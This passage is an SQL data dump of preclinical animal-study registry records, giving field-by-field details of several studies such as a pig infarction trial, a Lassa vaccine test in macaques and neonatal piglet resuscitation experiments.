	(6147,143,'financial_support','[\"grants\"]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6148,143,'start_date','\"2019-07-16\"','2022-03-31 13:23:45','2022-03-31 13:23:47'),
	(6149,143,'end_date','\"2020-11-30\"','2022-03-31 13:23:45','2022-03-31 13:23:48'),
	(6150,143,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:45','2022-03-31 13:24:00'),
	(6151,143,'research_field','\"Cardiology\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6152,143,'hypothesis','\"The signalling protein MAP4k4 is a pivotal trigger for cardiac cell death. We hypothesize that inhibition of MAP4k4 after myocardial infarction directly salvages the jeopardized heart muscle.\"','2022-03-31 13:23:45','2022-03-31 13:24:00'),
	(6153,143,'intervention_type','\"compound\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6154,143,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6155,143,'primary_readout_parameter','\"Efficacy: Efficacy will be based on reduction of infarct size (IS) as percentage of area at risk (AR) and area of no-reflow (NR) as percentage of infarct area (IA)  after 24 hours. \\nAfter 24 hours of reperfusion first,  5 ml of a 4 % (w\\/v) thioflavin-S solution will be infused intracoronarily through the lumen of the balloon catheter to visualize the area of no-reflow, where after the coronary artery will be re-occluded and the area at risk will be delineated by intra-atrial infusion of 40 ml of 15 % (w\\/v) Evans Blue. Then, the heart will be excised, the LV isolated and cut into five transverse slices of equal thickness, and slices will be weighed. After the area at risk and area of no-reflow (using UV light) of each slice is demarcated on an acetate sheet, the slices will be incubated in 1 % (w\\/v) 2,3,5-triphenyltetrazolium chloride at 37 \\u00b0C for 15 min to stain metabolically active tissue and delineate infarcted area from non-infarcted area. The red stained non-infarcted area will also be traced onto the sheet. The area at risk, area of no-reflow, and infarct area from each of the five transverse slices will be determined and summed. Myocardial IS is defined as the ratio of the summed IA and summed AR: IS = IA\\/AR \\u00d7 100 %. Area of no-reflow (NR) is defined as the ratio of the summed no-reflow areas (NA) and summed IA: NR = NA\\/IA \\u00d7 100 % .  \"','2022-03-31 13:23:45','2022-03-31 13:23:47'),
	(6156,143,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6157,143,'species','\"pig\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6158,143,'strain','\"Yorkshire x Nordic Landrace\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6159,143,'sex','\"both\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6160,143,'experimental_design','\"Anesthetized pigs (35-48 kg) undergo 60-min total occlusion of left anterior descending coronary artery followed by reperfusion. Animals are sacrificed 24 hours later and size of area-at-risk, infarct area and no-reflow area are determined by histochemical analyses.\"','2022-03-31 13:23:45','2022-03-31 13:23:48'),
	(6161,143,'secondary_readout_parameter','\"- Amount of hFABP and hsTnI in blood plasma as a marker for infarct size.\\n- Left ventriclar function determined by pressure-volume loops and echocardiography.\"','2022-03-31 13:23:45','2022-03-31 13:23:50'),
	(6162,143,'sample_size_calculation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6163,143,'sample_size_calculation_details','\"Sample size calculation was performed with a minimal detectable difference in infarct size of 20%, expected standard deviation of 16.5, alpha of 0.05 and power of 0.8 and yields n=11. Taking into account a dropout of 30% due to peri-infarct mortality and 10% due to technical complications, a total of 18 animals are needed.\\nAfter 12 successful experiments an interim analysis will be performed to estimate predictive probability of end of study success (defined as any statistically significant reduction in infarct size in treated animals vs placebo). If the estimated probability of success is low (&lt; 20%) the study will be stopped and continued with another dosing regimen or an other MAP4k4 inhibitor. \"','2022-03-31 13:23:45','2022-03-31 13:23:48'),
	(6164,143,'sum_of_animals','\"36 animals in total; 2 arms of 18 animals each.\"','2022-03-31 13:23:45','2022-03-31 13:23:50'),
	(6165,143,'study_arms','[{\"type\":\"intervention\",\"number\":\"18\",\"intervention\":\"MI induction; compound treatment\"},{\"type\":\"control\",\"number\":\"18\",\"intervention\":\"MI induction; placebo treatment\"}]','2022-03-31 13:23:45','2022-03-31 13:23:50'),
	(6166,143,'randomisation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6167,143,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6168,143,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6169,143,'placebo_controlled','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6170,143,'application_number','\"AVD1010020186165\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6171,143,'has_embargo','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:56'),
	(6172,144,'contact_name','\"Sylvain Baize\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6173,144,'contact_role','\"research group leader\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6174,144,'contact_email','\"sylvain.baize@pasteur.fr\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6175,144,'title','\"Cross protection induced by a MeV\\/LASV vaccine in non human primates\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6176,144,'study_centre','[{\"name\":\"SILABE\",\"city\":\"Niederhausbergen\",\"country\":\"FR\"},{\"name\":\"P4 INSERM Jean M\\u00e9rieux\",\"city\":\"Lyon\",\"country\":\"FR\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6177,144,'financial_support','[\"grants\"]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6178,144,'start_date','\"2019-01-28\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6179,144,'end_date','\"2019-04-05\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6180,144,'study_status','\"active\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6181,144,'research_field','\"Virology\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6182,144,'hypothesis','\"Lassa fever\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6183,144,'intervention_type','\"other\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6184,144,'other_intervention_type','\"vaccine\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6185,144,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6186,144,'primary_readout_parameter','\"Efficacy: Efficacy based on absence of disease and\\/or survival of MeV\\/LASV immunized animals one month after a challenge with Lassa virus strain Nigeria or Benin\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6187,144,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6188,144,'species','\"monkey\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6189,144,'strain','\"Macaca fasciluraris\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6190,144,'sex','\"female\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6191,144,'experimental_design','\"Macaca fasciluraris\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6192,144,'sample_size_calculation','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6193,144,'sum_of_animals','\"12\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6194,144,'study_arms','[{\"type\":\"control\",\"number\":\"3\",\"intervention\":\"MeV immunized, challenge with LASV strain Nigeria\"},{\"type\":\"control\",\"number\":\"3\",\"intervention\":\"MeV immunized, challenge with LASV strain Benin\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"MeV\\/LASV immunized, challenge with LASV strain Nigeria\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"MeV\\/LASV immunized, challenge with LASV strain Benin\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6195,144,'randomisation','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6196,144,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6197,144,'placebo_controlled','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6198,144,'application_number','\"Eval#17090_2018101211262022_v1\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6199,145,'title','\"Determination of the duration of protective immunity induced by a MeV\\/LASV vaccine\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6200,145,'contact_name','\"Sylvain Baize\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6201,145,'contact_email','\"sylvain.baize@pasteur.fr\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6202,145,'study_centre','[{\"name\":\"SILABE\",\"city\":\"Niederhausbergen\",\"country\":\"FR\"},{\"name\":\"P4 INSERM Jean M\\u00e9rieux\",\"city\":\"Lyon\",\"country\":\"FR\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6203,145,'financial_support','[\"grants\"]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6204,145,'start_date','\"2019-01-28\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6205,145,'end_date','\"2020-03-31\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6206,145,'study_status','\"active\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6207,145,'research_field','\"virology\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6208,145,'hypothesis','\"Lassa fever\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6209,145,'intervention_type','\"other\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6210,145,'other_intervention_type','\"vaccine\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6211,145,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6212,145,'primary_readout_parameter','\"Efficacy: Efficacy of MeV\\/LASV immunization against Lassa fever in non human primates one year post immunization\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6213,145,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6214,145,'species','\"monkey\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6215,145,'strain','\"Macaca fascicularis\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6216,145,'sex','\"female\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6217,145,'experimental_design','\"Macaca fascicularis\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6218,145,'sample_size_calculation','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6219,145,'sum_of_animals','\"11\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6220,145,'study_arms','[{\"type\":\"control\",\"number\":\"3\",\"intervention\":\"prime\\/boost MeV, challenge LASV strain Josiah\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"prime only MeV\\/LASV, challenge LASV strain Josiah\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"prime boost MeV\\/LASV, challenge LASV strain Josiah\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6221,145,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6222,145,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6223,145,'placebo_controlled','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6224,144,'why_no_randomisation','\"Because it is not possible regarding the containment \"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6225,144,'has_embargo','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6226,145,'has_embargo','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6227,145,'randomisation','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6228,145,'why_no_randomisation','\"It is not possible because of the containment\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6229,131,'investigators_blinded_assessment','\"the_person_testing_was_blinded\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6230,146,'title','\"ALK-5 inhibitor in a unilateral urether obstruction mouse model\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6231,146,'short_title','\"ALK-5 inhibitor in a unilateral urether obstruction mouse model\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6232,146,'contact_name','\"Arianne van Koppen\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6233,146,'contact_role','\"executive researcher\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6234,146,'contact_email','\"arianne.vankoppen@tno.nl\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6235,146,'study_centre','[{\"name\":\"TNO\",\"city\":\"Leiden\",\"country\":\"NL\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6236,146,'financial_support','[\"industry\"]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6237,146,'start_date','\"2018-02-25\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6238,146,'end_date','\"2018-03-08\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6239,146,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6240,146,'research_field','\"kidney fibrosis\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6241,146,'hypothesis','\"ALK-5 inhibition reduced the formation of fibrosis \"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6242,146,'intervention_type','\"compound\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6243,146,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6244,146,'primary_readout_parameter','\"Efficacy: efficacy based on fibrosis after 10 days.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6245,146,'secondary_readout_parameter','\"body weight, D2O collagen synthesis rate\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6246,146,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6247,146,'species','\"mouse\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6248,146,'strain','\"C57Bl\\/6J mice\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6249,146,'sex','\"male\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6250,146,'experimental_design','\"unilateral urether obstruction\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6251,146,'sample_size_calculation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6252,146,'sample_size_calculation_details','\"power analyse \\uf061 = 0.05 en 1-\\uf062&lt;0.80 voor de detectie van een significante vermindering in collageen hoeveelheid in de nier van 40% is een groepsgrootte van 14 dieren noodzakelijk.We houden er rekening mee dat we 5-10% van de dieren per groep zullen uitvallen door bv een complicatie na de operatie. Dit gebeurt echter zelden. Dit brengt de groepsgrootte naar 15 dieren per groep. \\nIn groep 1 en 5 (sham dieren) zullen 10 muizen gebruikt worden omdat we in deze groep minder variatie verwachten. \\n\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6253,146,'sum_of_animals','\"55\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6254,146,'study_arms','[{\"type\":\"sham\",\"number\":\"10\",\"intervention\":\"vehicle\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"vehicle\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"compound\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"alk5 inhibitor\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6255,146,'randomisation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6256,146,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6257,146,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6258,146,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6259,146,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6260,146,'placebo_controlled','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6261,146,'application_number','\"TNO-341\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6262,146,'link_to_data','\"available upon request\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6263,146,'has_embargo','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6264,147,'title','\"Ecological validity of non-nutritive sweetener consumption models in female Sprague Dawley rats \"','2022-03-31 13:23:45','2022-03-31 13:23:47'),
	(6265,147,'contact_name','\"Associate Professor Kieron Rooney\\nMrs Heidi Morahan\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6266,147,'contact_role','\"Chief Investigator\\nPrimary caregiver\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6267,147,'contact_email','\"kieron.rooney@sydney.edu.au\\nheidi.morahan@sydney.edu.au\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6268,147,'study_centre','[{\"name\":\"University of Sydney\",\"city\":\"Sydney\",\"country\":\"AU\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6269,147,'financial_support','[\"grants\"]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6270,147,'start_date','\"2019-04-15\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6271,147,'end_date','\"2019-06-28\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6272,147,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:45','2022-03-31 13:23:46'),
	(6273,147,'research_field','\"Metabolic Health and Feeding Behaviour\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6274,147,'hypothesis','\"Due to the novel nature of this study, we can not be sure if rats will consume widely available commercial beverages sweetened with non-nutritive sweeteners. As such we need to know, if there are more ecologically valid models of non-nutritive sweetener consumption available for further studies to prevent the unnecessary use of animals under the guise of informing human health.\\nWe hypothesise beverages containing only non-nutritive sweeteners (no sucrose) will show near complete metabolic recovery after ceasing sugar consumption in females rats.\"','2022-03-31 13:23:45','2022-03-31 13:23:47'),
	(6275,147,'intervention_type','\"compound\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6276,147,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6277,147,'species','\"rat\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6278,147,'strain','\"Sprague Dawley\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6279,147,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6280,147,'sex','\"female\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6281,147,'experimental_design','\"Sprague Dawley rats to test for ecological valid models in consumption of commercially available sweetened beverages\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6282,147,'sample_size_calculation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6283,147,'sample_size_calculation_details','\"Previous models (including ours) have utilised  tests comparing volume of a 0.1% Saccharin solution to the volume of water consumed. Using such comparisons we have previously reported female Sprague Dawley animals to consume 55 +\\/- 15 mls of water compared to 90 +\\/- 19 mLs of Saccharin. This is indicative of an effect size of 2.0. Assuming this effect as the minimal threshold to accept any of the test drinks in this protocol as a viable alternate model, a power set at 0.95 and significance set at 0.05, the minimal number for determining a significant effect is 6 animals per group (G* Power Version 3.1) .  \\n \\nHowever, there are 2 additional factors to consider. First, this data has been collected from \\u201cna\\u00efve\\u201d animals, that is, animals that had not consumed anything sweet prior to testing. Our preliminary data suggests that the saccharin intake will be lower following an exposure to sugar and as such the effect size is likely to be smaller, thus requiring a slightly higher number of animals. Further, one of our primary outcomes is recovery of body fat content. For which our power calculations in a previous experiment reports a minimum number of 8 animals per group.  \\n\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6284,147,'sum_of_animals','\"40\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6285,147,'primary_readout_parameter','\"Feasibility: Aim 1. Do Sprague Dawley Rats consume commercially available drinks sweetened with non-nutritive sweeteners? \\nOur primary outcome measure for this aim is total volume of test drink consumed relative to water within two 10 minute drinking opportunities for preference, and total volume of test drink consumed relative to water over a 4 hour period for acceptance. This will be measured on Days 1-4\\n\\nAim 2. Does the consumption of commercially available drinks sweetened with non-nutritive sweeteners differ if animals have had prior chronic exposure to sugar sweetened drinks? \\nOur primary outcome measure for this aim is total volume of test drink consumed relative to water within two 10 minute drinking opportunities for preference, and total volume of test drink consumed relative to water over a 4 hour period for acceptance. This will be measured on Days 33-36 following 28-day sucrose (10% w\\/v) feeding\\n\\nAim 3. Do commercially available drinks sweetened with non-nutritive sweeteners impact metabolic recovery from the damage caused by excess consumption of sugar? \\nOur primary outcome for this aim will be changes in body fat content. This will be measured on Days 65\\/66 after cull and excision of fat pads.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6286,147,'study_arms','[{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"water \"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"diet coke (aspartame and acesulfame K)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"sprite (sucrose ~9% w\\/v and stevia)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"sugar free cordial (cyclamate, acesulfame K and sucralose)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"kombucha (stevia and erythritol)\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6287,147,'randomisation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6288,147,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6289,147,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6290,147,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6291,147,'yes_blinded_intervention_how_details','\"Due to delivery of dietary intervention, it is impossible for primary caregiver to be blinded. \"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6292,147,'yes_blinded_intervention_partially_details','\"Yes partially\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6293,147,'investigators_blinded_assessment','\"blood_glucose_metabolic_markers_and_body_composition_outcomes_will_be_blinded\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6294,147,'placebo_controlled','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6295,147,'application_number','\"2019\\/1502\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6296,147,'has_embargo','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6297,147,'secondary_readout_parameter','\"Fasting blood glucose levels taken on Day 37 and 64 by sampling blood from lateral tail vein. Approximately 100\\u00b5L of blood will be taken for further testing of metabolic markers.\\nBody weight measured every 3 days\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6298,148,'title','\"Chest Compression Rate during Neonatal Cardiopulmonary Resuscitation\"','2022-03-31 13:23:45','2022-03-31 13:23:58'),
	(6299,148,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6300,148,'contact_role','\"Principal Investigator\\n\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6301,148,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6302,148,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6303,148,'financial_support','[\"grants\"]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6304,148,'start_date','\"2020-09-01\"','2022-03-31 13:23:45','2022-03-31 13:23:58'),
	(6305,148,'end_date','\"2021-03-31\"','2022-03-31 13:23:45','2022-03-31 13:23:57'),
	(6306,148,'study_status','\"active\"','2022-03-31 13:23:45','2022-03-31 13:23:58'),
	(6307,148,'research_field','\"Pediatrics, Neonatology\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6308,148,'hypothesis','\"We hypothesize that using a chest compression depth of 40% and 25% during resuscitation will result in similar times to return of spontaneous circulation as 33%.\"','2022-03-31 13:23:45','2022-03-31 13:23:58'),
	(6309,148,'intervention_type','\"model_optimalisation\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6310,148,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:45','2022-03-31 13:23:58'),
	(6311,148,'primary_readout_parameter','\"Feasibility: Primary outcome measure is cardiopulmonary resuscitation time to achieve return of spontaneous circulation.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6312,148,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6313,148,'secondary_readout_parameter','\"Secondary endpoints are hemodynamic parameters, respiratory markers.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6314,148,'species','\"pig\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6315,148,'sex','\"both\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6316,148,'experimental_design','\"Newborn piglet model of hypoxia asphyxia-induced asystole\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6317,148,'sample_size_calculation','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6318,148,'sum_of_animals','\"The primary outcome measure will be the time of chest compression to achieve a return of spontaneous circulation. Our previous studies showed a mean (standard deviation) return of spontaneous circulation of 220(25) sec with a chest compression rate of 90\\/min. We hypothesize that a chest compression rate of 180\\/min would reduce time to achieve a return of spontaneous circulation. A sample size of 8 per group would be sufficient to detect a clinically important (20%) reduction in time to return of spontaneous circulation (i.e., 176sec vs. 220sec) with 90% power and a 2-tailed alpha error of 0.05.\"','2022-03-31 13:23:45','2022-03-31 13:23:58'),
	(6319,148,'study_arms','[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Newborn piglets will receive chest compression at a rate of 180\\/min\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Newborn piglets will receive chest compression at a rate of 60\\/min\"},{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Newborn piglets will receive chest compression at a rate of 90\\/min\"}]','2022-03-31 13:23:45','2022-03-31 13:23:57'),
	(6320,148,'randomisation','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6321,148,'why_no_randomisation','\"Exploratory\\/Pilot study\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6322,148,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6323,148,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6324,148,'placebo_controlled','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6325,148,'has_embargo','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6326,149,'title','\"Effects of Different Pressures of Sustained Inflation during Cardiopulmonary Resuscitation of Asphyxiated Newborn Piglets.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6327,149,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6328,149,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6329,149,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6330,149,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6331,149,'financial_support','[\"grants\"]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6332,149,'start_date','\"2018-09-01\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6333,149,'end_date','\"2019-02-01\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6334,149,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:45','2022-03-31 13:24:00'),
	(6335,149,'research_field','\"Pediatrics, Neonatology\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6336,149,'hypothesis','\"We hypothesize that using a sustained inflation (SI) with a peak inflation pressure of 10, 20 and 30 cmH2O during chest compressions will result in reduced times to return of spontaneous circulation (ROSC) than resuscitation with 3:1 compression:ventilation (C:V) ratio.\"','2022-03-31 13:23:45','2022-03-31 13:24:00'),
	(6337,149,'intervention_type','\"delivery_method\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6338,149,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6339,149,'primary_readout_parameter','\"Efficacy: Primary outcome measure is cardiopulmonary resuscitation (CPR) time to achieve ROSC.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6340,149,'secondary_readout_parameter','\"Secondary endpoints are hemodynamic parameters, respiratory parameters, and injury markers.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6341,149,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6342,149,'species','\"pig\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6343,149,'sex','\"both\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
